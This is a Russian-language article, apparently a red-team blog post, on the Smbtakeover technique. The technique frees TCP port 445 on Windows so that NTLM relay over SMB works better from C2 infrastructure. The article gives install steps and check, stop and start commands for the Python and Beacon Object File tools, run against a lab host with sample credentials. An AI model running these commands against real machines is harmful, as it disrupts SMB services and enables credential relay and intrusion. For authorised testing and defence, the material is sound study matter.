Smbtakeover — захват порта 445 TCP на Windows при атаке NTLM Relay
Взлом Windows
Сегодня расскажу о технике Smbtakeover, которая позволяет освободить и снова привязать порт 445 TCP на Windows, не прибегая к загрузке драйвера, модуля в LSASS или перезагрузке целевой машины.
Захват порта 445 TCP на Windows
Эта техника значительно облегчает эксплуатацию NTLM relay через SMB, особенно в условиях работы с C2 (сервер для управления скомпрометированными устройствами). Технические детали были рассмотрены на презентации «Relay Your Heart Away: An OPSEC Concious Approach to 445 Takeover» на конференции x33fcon.
Ссылка на Youtube презентацию - https://www.youtube.com/watch?v=MFxhirfFSp4
Перед применением техники следует учесть несколько моментов:
Отключение служб, описанных ниже, временно лишает целевую машину возможности использовать namedpipes и серверную часть SMB-коммуникаций (например, CIFS). Важно понимать, для чего используется целевая машина, особенно если это критическая или производственная инфраструктура. После повторного включения службы их нормальная работа восстанавливается.
Что такое namedpipes ? https://learn.microsoft.com/ru-ru/windo … amed-pipes
Иногда может потребоваться отключить и другой набор служб. Это замечено на некоторых версиях Windows Server, а также при наличии установленных сторонних сетевых драйверов. Однако это не мешает использованию данной техники. Можно проследить зависимости служб от srvnet и при необходимости отключить дополнительные службы.
Этот PoC не обязателен для эксплуатации данной техники! Вы можете использовать любое удобное средство для взаимодействия с диспетчером управления службами (Service Control Manager, SCM).
Убедитесь, что выбранный инструмент использует ncacn_ip_tcp для транспорта RPC. Если он использует ncacn_np (named pipes), вы не сможете удаленно включить или отключить службы.
PoC написан на Python и в формате BOF (Beacon Object Files). Оба PoC используют RPC через TCP (ncacn_ip_tcp) в качестве транспорта при взаимодействии с удаленными машинами.
Для настройки Python-версии вам потребуется создать виртуальное окружение и установить пакет impacket:
git clone https://github.com/zyn3rgy/smbtakeover.git
cd smbtakeover
python3 -m virtualenv venv
source venv/bin/activate
python3 -m pip install impacket
python3 smbtakeover.py -h
Примеры использования Smbtakeover :
Python:
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 check
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 stop
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 start
BOF:
bof_smbtakeover localhost check
bof_smbtakeover 10.0.0.21 stop
bof_smbtakeover localhost start
Эти команды позволяют проверять статус, останавливать и запускать необходимые службы на целевых машинах, как локально, так и удаленно.